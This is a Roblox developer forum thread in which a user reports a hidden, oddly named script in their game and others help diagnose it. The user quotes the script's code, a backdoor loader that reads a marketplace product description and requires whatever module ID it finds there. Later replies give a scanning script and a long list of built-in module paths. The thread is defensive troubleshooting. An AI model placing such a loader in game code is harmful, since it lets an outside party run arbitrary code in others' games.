Do I have malicious scripts in my game?

RedDuck765 · December 27, 2018, 9:36am

Ok. Something really strange came up into my output when my internet went down a few minutes ago. Due to the internet going down, when you run a place in studio, you get http request errors and internet based services go down.

I had a tonne of Marketplaceservice requests which was already a flag because I haven’t implemented that into the game yet. When i clicked it to go to it’s source, the script was a single line, had a weird name like 5i`0jk (and some strange characters).

The code, with proper indentation and lines, reads this:

marketplaceService = game:GetService('MarketplaceService')
productInfo = marketplaceService:GetProductInfo(2655062037)
modulefunc = productInfo.Description
modulefunc = tonumber(string.match(modulefunc, '%d+'))
require(modulefunc)[tostring(productInfo.Name)](game.PlaceId)

Getting the URL from that and saving the model to my models in the toolbox, it opens a module script reading this:

local module = {}

module.none = function()
	
end

return module

I’m really confused. Have I accidentally downloaded a malicious plugin that is requiring modules into my game? Anyone have any ideas?

XandertjeKnal · December 27, 2018, 2:10pm

Can you try to replicate this in a different place? Maybe create an empty baseplate and turn off your internet?

This code here alone isn’t malicious, but the creator of that product (edit: redacted) can of course change the description of his model and require any modulescript he would like. (You can call this a backdoor.)

If the same code appears in an empty game, it is wise to check your plugins and consider removing the plugin that causes the issue. Otherwise, check any free models that you might have used in your game.

RedDuck765 · December 27, 2018, 2:23pm

I don’t use the toolbox because I make all of my own things.

That’s a good idea. I will try and replicate it in my main place and a new place having removed any plugins from no-credible sources

IdiomicLanguage · December 27, 2018, 3:40pm

Where was the script located? To make sure you are safe now, run this script in your command bar and check that it doesn’t list any scripts that could be malicious.

local function scripts(instances, i)
	for i = (i or 0) + 1, #instances do
		local instance = instances[i]
		local success, result = pcall(instance.IsA, instance, 'LuaSourceContainer')
		if success and result then
			return i, instance
		end
	end
end

for i, source in scripts, game:GetDescendants() do
	print(source:GetFullName())
end

Here is my output in an empty place:

CoreGui.RobloxGui.Modules.VR.VRHub
CoreGui.RobloxGui.Modules.VR.VRControllerModel
CoreGui.RobloxGui.Modules.VR.VirtualKeyboard
CoreGui.RobloxGui.Modules.VR.Panel3D
CoreGui.RobloxGui.Modules.VR.NotificationHub
CoreGui.RobloxGui.Modules.VR.LaserPointer
CoreGui.RobloxGui.Modules.VR.Healthbar3D
CoreGui.RobloxGui.Modules.VR.Controllers.ViveController
CoreGui.RobloxGui.Modules.VR.Recenter
CoreGui.RobloxGui.Modules.VR.Dialog
CoreGui.RobloxGui.Modules.VR.UserGui
CoreGui.RobloxGui.Modules.VR.NotifierHint3D
CoreGui.RobloxGui.Modules.TenFootInterface
CoreGui.RobloxGui.Modules.StyleWidgets
CoreGui.RobloxGui.Modules.Stats.TreeViewItem
CoreGui.RobloxGui.Modules.Stats.StatsViewer
CoreGui.RobloxGui.Modules.Stats.StatsTextPanel
CoreGui.RobloxGui.Modules.Stats.StatsMiniTextPanel
CoreGui.RobloxGui.Modules.Stats.StatsButton
CoreGui.RobloxGui.Modules.Stats.StatsAggregator
CoreGui.RobloxGui.Modules.Stats.DeveloperConsoleStyle
CoreGui.RobloxGui.Modules.Stats.DecoratedValueLabel
CoreGui.RobloxGui.Modules.Stats.BarGraph
CoreGui.RobloxGui.Modules.Stats.StatsUtils
CoreGui.RobloxGui.Modules.Stats.BaseMemoryAnalyzer
CoreGui.RobloxGui.Modules.Stats.StatsAnnotatedGraph
CoreGui.RobloxGui.Modules.Stats.StatsAggregatorManager
CoreGui.RobloxGui.Modules.Stats.DeveloperConsolePrimitives
CoreGui.RobloxGui.Modules.Stats.ServerMemoryAnalyzer
CoreGui.RobloxGui.Modules.Stats.ClientMemoryAnalyzer
CoreGui.RobloxGui.Modules.Shimmer
CoreGui.RobloxGui.Modules.Settings.SettingsPageFactory
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Spritesheets.ShareGameIcons
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Reducers.ConversationsSearch
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Reducers.Invites
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Reducers.DeviceInfo
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Reducers.Page
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Reducers.Toasts
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.ShareGamePageFrame
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.SearchBox
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.SearchArea
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.LayoutProvider
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.InviteButton
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.IconButton
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.ConversationThumbnail
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.ConversationList
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.ConversationEntry
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.ConversationDetails
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.BackButton
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.FriendsErrorPage
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.RectangleButton
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.NoFriendsPage
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.ErrorToaster
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.Header
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.LoadingFriendsPage
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Components.App
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.AppReducer
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.StoppedToastTimer
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.SetSearchText
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.SetSearchAreaActive
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.SetDeviceLayout
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.ReceivedUserInviteStatus
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.SetIsSmallTouchScreen
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.ClosePage
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Actions.OpenPage
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Thunks.InviteUserIdToPlaceId
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGame.Constants
CoreGui.RobloxGui.Modules.Settings.Pages.ReportAbuseMenu
CoreGui.RobloxGui.Modules.Settings.Pages.Record
CoreGui.RobloxGui.Modules.Settings.Pages.LeaveGameXbox
CoreGui.RobloxGui.Modules.Settings.Pages.LeaveGameScreen.Constants
CoreGui.RobloxGui.Modules.Settings.Pages.LeaveGameScreen.LeaveGame
CoreGui.RobloxGui.Modules.Settings.Pages.LeaveGame
CoreGui.RobloxGui.Modules.Settings.Pages.Home
CoreGui.RobloxGui.Modules.Settings.Pages.GameSettings
CoreGui.RobloxGui.Modules.Settings.Pages.ResetCharacter
CoreGui.RobloxGui.Modules.Settings.Pages.ShareGamePlaceholderPage
CoreGui.RobloxGui.Modules.Settings.Pages.Players
CoreGui.RobloxGui.Modules.Settings.Pages.Help
CoreGui.RobloxGui.Modules.Settings.Reducers.SettingsReducer
CoreGui.RobloxGui.Modules.Settings.Reducers.RecentlyPlayedGames
CoreGui.RobloxGui.Modules.Settings.Reducers.RecentlyPlayedGamesFetchingStatus
CoreGui.RobloxGui.Modules.Settings.Models.Game
CoreGui.RobloxGui.Modules.Settings.Components.PlayNextGame.PlayNextGameXbox
CoreGui.RobloxGui.Modules.Settings.Components.PlayNextGame.GamesScrollList
CoreGui.RobloxGui.Modules.Settings.Components.PlayNextGame.GameIcon
CoreGui.RobloxGui.Modules.Settings.Components.PlayNextGame.GameSelector
CoreGui.RobloxGui.Modules.Settings.Components.ResumeButton
CoreGui.RobloxGui.Modules.Settings.Components.LeaveButton
CoreGui.RobloxGui.Modules.Settings.Common.BlankSelectionImage
CoreGui.RobloxGui.Modules.Settings.Common.RoundedSelectionImage
CoreGui.RobloxGui.Modules.Settings.Actions.SetRecentlyPlayedGamesFetching
CoreGui.RobloxGui.Modules.Settings.Actions.SetRecentlyPlayedGames
CoreGui.RobloxGui.Modules.Settings.Actions.GetRecentlyPlayedGames.spec
CoreGui.RobloxGui.Modules.Settings.Actions.GetRecentlyPlayedGames
CoreGui.RobloxGui.Modules.Settings.Actions.SetRecentlyPlayedGamesFetching.spec
CoreGui.RobloxGui.Modules.Settings.Actions.SetRecentlyPlayedGames.spec
CoreGui.RobloxGui.Modules.Settings.ShareGameMaster
CoreGui.RobloxGui.Modules.Settings.SettingsState
CoreGui.RobloxGui.Modules.Settings.Thunks.ApiFetchRecentlyPlayedGames
CoreGui.RobloxGui.Modules.Settings.SettingsHub
CoreGui.RobloxGui.Modules.Settings.Utility
CoreGui.RobloxGui.Modules.TopbarConstants
CoreGui.RobloxGui.Modules.SocialUtil
CoreGui.RobloxGui.Modules.Server.ServerPlayer.ServerPlayerInstaller
CoreGui.RobloxGui.Modules.Server.ServerPlayer.DefaultServerPlayerModules.PlayerSettings
CoreGui.RobloxGui.Modules.Server.ServerChat.Util
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.TeamChat
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.MeCommand
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.ExtraDataInitializer
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.ChatCommandsTeller
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.FriendJoinNotifier
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.PrivateMessaging
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.MuteSpeaker
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.ChatMessageValidator
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatModules.ChatFloodDetector
CoreGui.RobloxGui.Modules.Server.ServerChat.DefaultChatLocalization
CoreGui.RobloxGui.Modules.Server.ServerChat.ChatService
CoreGui.RobloxGui.Modules.Server.ServerChat.ChatServiceInstaller
CoreGui.RobloxGui.Modules.Server.ServerChat.Speaker
CoreGui.RobloxGui.Modules.Server.ServerChat.ChatServiceRunner
CoreGui.RobloxGui.Modules.Server.ServerChat.ChatChannel
CoreGui.RobloxGui.Modules.Server.ServerSound.SoundDispatcherInstaller
CoreGui.RobloxGui.Modules.Server.ServerSound.SoundDispatcher
CoreGui.RobloxGui.Modules.Server.FreeCamera.FreeCamera
CoreGui.RobloxGui.Modules.Server.FreeCamera.FreeCameraInstaller
CoreGui.RobloxGui.Modules.Server.ClientChat.TransparencyTweener
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.WhisperMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.WelcomeMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.Util
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.SetCoreMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.MeCommandMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.UnknownMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.DefaultChatMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.MessageCreatorModules.SystemMessage
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.Whisper
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.SwitchChannel
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.SwallowGuestChat
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.ClearMessages
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.Team
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.Util
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.DeveloperConsole
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.CommandModules.GetVersion
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.ChatLocalization
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.ChatConstants
CoreGui.RobloxGui.Modules.Server.ClientChat.DefaultClientChatModules.ChatSettings
CoreGui.RobloxGui.Modules.Server.ClientChat.CurveUtil
CoreGui.RobloxGui.Modules.Server.ClientChat.CommandProcessor
CoreGui.RobloxGui.Modules.Server.ClientChat.ChatWindowInstaller
CoreGui.RobloxGui.Modules.Server.ClientChat.ChatScript
CoreGui.RobloxGui.Modules.Server.ClientChat.ChatChannel
CoreGui.RobloxGui.Modules.Server.ClientChat.ChannelsBar
CoreGui.RobloxGui.Modules.Server.ClientChat.BubbleChat.BubbleChat
CoreGui.RobloxGui.Modules.Server.ClientChat.ChannelsTab
CoreGui.RobloxGui.Modules.Server.ClientChat.MessageLogDisplay
CoreGui.RobloxGui.Modules.Server.ClientChat.ChatWindow
CoreGui.RobloxGui.Modules.Server.ClientChat.ChatMain
CoreGui.RobloxGui.Modules.Server.ClientChat.ChatBar
CoreGui.RobloxGui.Modules.Server.ClientChat.MessageLabelCreator
CoreGui.RobloxGui.Modules.Server.ClientChat.MessageSender
CoreGui.RobloxGui.Modules.Server.ServerUtil
CoreGui.RobloxGui.Modules.DevConsole.CircularBuffer
CoreGui.RobloxGui.Modules.DevConsole.Reducers.LogData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.NetworkData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.DevConsoleReducer
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ServerStatsData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ServerJobsData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ScriptsData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.NetworkData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.LogData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.MemoryData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.DataStoresData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ActionBindingsData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ActionBindingsData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.MainView.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ServerStatsData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.DevConsoleReducer.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ServerJobsData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.ScriptsData.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.MemoryData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.DevConsoleDisplayOptions.spec
CoreGui.RobloxGui.Modules.DevConsole.Reducers.DataStoresData
CoreGui.RobloxGui.Modules.DevConsole.Reducers.MainView
CoreGui.RobloxGui.Modules.DevConsole.Reducers.DevConsoleDisplayOptions
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.MemoryView.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.ClientMemory
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.ServerMemory
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.MemoryView
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.MainViewMemory.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.MainViewMemory
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.ClientMemory.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.MemoryViewEntry
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.ServerMemory.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.MemoryViewEntry.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.ServerMemoryData
CoreGui.RobloxGui.Modules.DevConsole.Components.Memory.ClientMemoryData
CoreGui.RobloxGui.Modules.DevConsole.Components.CellLabel
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.ClientNetwork.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkChartEntry
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkView
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.ServerNetwork.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.ServerNetwork
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkSummary.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkSummary
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkData
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkChart.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkChart
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkView.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.MainViewNetwork.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.MainViewNetwork
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.ClientNetwork
CoreGui.RobloxGui.Modules.DevConsole.Components.Network.NetworkChartEntry.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.HeaderButton
CoreGui.RobloxGui.Modules.DevConsole.Components.UtilAndTab.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.UtilAndTab
CoreGui.RobloxGui.Modules.DevConsole.Components.TabRowContainer.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.TabRowContainer
CoreGui.RobloxGui.Modules.DevConsole.Components.TabRowButton.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.LineGraph
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerStats.ServerStatsChart.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerStats.MainViewServerStats.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerStats.MainViewServerStats
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerStats.ServerStatsChart
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerStats.ServerStatsData
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerJobs.ServerJobsData
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerJobs.ServerJobsChart.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerJobs.MainViewServerJobs.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerJobs.ServerJobsChart
CoreGui.RobloxGui.Modules.DevConsole.Components.ServerJobs.MainViewServerJobs
CoreGui.RobloxGui.Modules.DevConsole.Components.DevConsoleWindow
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.ServerScriptsData
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.ServerScripts.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.ServerScripts
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.MainViewScripts
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.ServerScriptsEntry
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.ServerScriptsEntry.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Scripts.MainViewScripts.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.ServerLog.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.LogOutput
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.ServerLog
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.MainViewLog
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.LogOutput.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.LogData
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.ClientLog.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.DevConsoleCommandLine
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.LogData.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.ClientLog
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.MainViewLog.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.Log.DevConsoleCommandLine.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ClientServerButton.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.MicroProfiler.ServerProfilerInterface.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.MicroProfiler.ServerProfilerInterface
CoreGui.RobloxGui.Modules.DevConsole.Components.MicroProfiler.MainViewMicroProfiler
CoreGui.RobloxGui.Modules.DevConsole.Components.MicroProfiler.MainViewMicroProfiler.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.SearchBar
CoreGui.RobloxGui.Modules.DevConsole.Components.CheckBoxContainer.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.LiveUpdateElement.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.LiveUpdateElement
CoreGui.RobloxGui.Modules.DevConsole.Components.FullScreenDropDownButton
CoreGui.RobloxGui.Modules.DevConsole.Components.DropDown.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.DataProvider
CoreGui.RobloxGui.Modules.DevConsole.Components.DevConsoleTopBar
CoreGui.RobloxGui.Modules.DevConsole.Components.DataStores.MainViewDataStores.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.DataStores.DataStoresData
CoreGui.RobloxGui.Modules.DevConsole.Components.DataStores.DataStoresChart.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.DataStores.MainViewDataStores
CoreGui.RobloxGui.Modules.DevConsole.Components.DataStores.DataStoresChart
CoreGui.RobloxGui.Modules.DevConsole.Components.DevConsoleTopBar.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.DataConsumer
CoreGui.RobloxGui.Modules.DevConsole.Components.LineGraphHoverDisplay
CoreGui.RobloxGui.Modules.DevConsole.Components.CheckBoxDropDown
CoreGui.RobloxGui.Modules.DevConsole.Components.ClientServerButton
CoreGui.RobloxGui.Modules.DevConsole.Components.CheckBoxContainer
CoreGui.RobloxGui.Modules.DevConsole.Components.CheckBox.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.CheckBox
CoreGui.RobloxGui.Modules.DevConsole.Components.BannerButton
CoreGui.RobloxGui.Modules.DevConsole.Components.ActionBindings.ActionBindingsChart.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ActionBindings.ActionBindingsChart
CoreGui.RobloxGui.Modules.DevConsole.Components.ActionBindings.MainViewActionBindings
CoreGui.RobloxGui.Modules.DevConsole.Components.ActionBindings.MainViewActionBindings.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.ActionBindings.ActionBindingsData
CoreGui.RobloxGui.Modules.DevConsole.Components.CheckBoxDropDown.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.SearchBar.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.FullScreenDropDownButton.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.DevConsoleWindow.spec
CoreGui.RobloxGui.Modules.DevConsole.Components.DropDown
CoreGui.RobloxGui.Modules.DevConsole.Components.TabRowButton
CoreGui.RobloxGui.Modules.DevConsole.Actions.SetDevConsoleMinimized
CoreGui.RobloxGui.Modules.DevConsole.Actions.SetTabList
CoreGui.RobloxGui.Modules.DevConsole.Actions.ClientMemoryUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ServerMemoryUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ChangeDevConsoleSize
CoreGui.RobloxGui.Modules.DevConsole.Actions.ActionBindingsUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.SetActiveTab
CoreGui.RobloxGui.Modules.DevConsole.Actions.ClientLogUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.SetDevConsoleVisibility
CoreGui.RobloxGui.Modules.DevConsole.Actions.UpdateAveragePing
CoreGui.RobloxGui.Modules.DevConsole.Actions.SetDevConsolePosition
CoreGui.RobloxGui.Modules.DevConsole.Actions.ServerNetworkUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ServerScriptsUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ServerStatsUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ClientScriptsUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ServerLogUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ServerJobsUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.DataStoresUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Actions.ClientNetworkUpdateSearchFilter
CoreGui.RobloxGui.Modules.DevConsole.Util.getClientReplicator
CoreGui.RobloxGui.Modules.DevConsole.Util.convertTimeStamp
CoreGui.RobloxGui.Modules.DevConsole.Util.maxOfTable
CoreGui.RobloxGui.Modules.DevConsole.Util.minOfTable
CoreGui.RobloxGui.Modules.DevConsole.Util.setMouseVisibility
CoreGui.RobloxGui.Modules.DevConsole.MiddleWare.ReportTabChanges
CoreGui.RobloxGui.Modules.DevConsole.Immutable
CoreGui.RobloxGui.Modules.DevConsole.Constants
CoreGui.RobloxGui.Modules.DevConsole.Action
CoreGui.RobloxGui.Modules.DevConsole.Signal
CoreGui.RobloxGui.Modules.DevConsole.CircularBuffer.spec
CoreGui.RobloxGui.Modules.PlayerPermissionsModule
CoreGui.RobloxGui.Modules.PlayerlistModule
CoreGui.RobloxGui.Modules.PromptCreator
CoreGui.RobloxGui.Modules.PlayerDropDown
CoreGui.RobloxGui.Modules.HttpAnalyticsTab
CoreGui.RobloxGui.Modules.ErrorPrompt
CoreGui.RobloxGui.Modules.DevConsoleMaster
CoreGui.RobloxGui.Modules.LoadingScreen3D
CoreGui.RobloxGui.Modules.BackpackScript
CoreGui.RobloxGui.Modules.Common.Constants
CoreGui.RobloxGui.Modules.Common.CommonUtil
CoreGui.RobloxGui.Modules.Common.ObjectPool
CoreGui.RobloxGui.Modules.Common.Create
CoreGui.RobloxGui.Modules.NewChat
CoreGui.RobloxGui.Modules.RobloxTranslator
CoreGui.RobloxGui.Modules.GameTranslator
CoreGui.RobloxGui.Modules.AvatarContextMenu.ContextMenuUtil
CoreGui.RobloxGui.Modules.AvatarContextMenu.ContextMenuItems
CoreGui.RobloxGui.Modules.AvatarContextMenu.PlayerCarousel
CoreGui.RobloxGui.Modules.AvatarContextMenu.SelectedCharacterIndicator
CoreGui.RobloxGui.Modules.AvatarContextMenu.ContextMenuGui
CoreGui.RobloxGui.Modules.Chat
CoreGui.RobloxGui.Modules.ChatUtil
CoreGui.RobloxGui.Modules.BusinessLogic
CoreGui.RobloxGui.Modules.ActionBindingsTab
CoreGui.RobloxGui.Modules.CursorOverride
CoreGui.RobloxGui.Modules.GoogleAnalyticsUtils
CoreGui.RobloxGui.Modules.BackpackScript3D
CoreGui.RobloxGui.Modules.DeveloperConsoleModule
CoreGui.RobloxGui.Modules.ChatSelector
CoreGui.RobloxGui.Connection
CoreGui.RobloxGui.CoreScripts/Topbar
CoreGui.RobloxGui.CoreScripts/MainBotChatScript2
CoreGui.RobloxGui.CoreScripts/NotificationScript2
CoreGui.RobloxGui.CoreScripts/PerformanceStatsManagerScript
CoreGui.RobloxGui.CoreScripts/PurchasePromptScript2
CoreGui.RobloxGui.CoreScripts/BlockPlayerPrompt
CoreGui.RobloxGui.CoreScripts/FriendPlayerPrompt
CoreGui.RobloxGui.CoreScripts/AvatarContextMenu
CoreGui.RobloxGui.CoreScripts/VehicleHud
CoreGui.RobloxGui.CoreScripts/GamepadMenu
Script Context.ServerStarterScript
Script Context.StarterScript

On a side note, the module developer’s account is older than mine by about 4 months… from late December 2007!

RedDuck765 · December 27, 2018, 4:04pm

Yeah I noticed that they were an old account, and from what I could tell, still active!

Should I run that when the game runs?

It had no place in the explorer in edit mode and I didnt think to check in play mode…
Its name was also really weird, almost like if you try and open a .dll file of a game and have a tonne of random seemingly meaningless characters

RedDuck765 · December 27, 2018, 4:24pm

16:12:10.635 - MarketplaceService:getProductInfo() failed because HTTP 0 (HttpError: DnsResolve)
16:12:10.635 - Stack Begin
16:12:10.636 - Script 'CSGDictionaryService.5Ì7523¿Ì¿•Ì¿.3Ì15454•Ì¿•Ì¿•', Line 1
16:12:10.636 - Stack End

That is one of the errors that I found

This isn’t in explorer but when I do click ‘show in explorer’, the properties tab looks like this:

16:25:44.159 - The current identity (6) cannot Class security check (lacking permission 6)
16:25:44.159 - Stack Begin
16:25:44.160 - Script 'Plugin_-1.UIEditor.main', Line 506 - upvalue areAllAncestorsGuiBase2dToStarterGui
16:25:44.160 - Script 'Plugin_-1.UIEditor.main', Line 523 - upvalue passesGuiFilter
16:25:44.160 - Script 'Plugin_-1.UIEditor.main', Line 530
16:25:44.161 - Stack End

This error also appears

IdiomicLanguage · December 27, 2018, 4:30pm

Right, so the script probably isn’t alone. Something put it there. It by itself can’t replicate, and as you imply, the random character name was likely given to it by another script.

I’d paste it into the command bar when the game isn’t running, and then again later with it running. The reason being, it doesn’t catch plugin scripts. Those are not descendants of game, but directly descendants of a Plugin instance with no parent. If they are to blame, they could be adding in scripts when the game starts but not before.

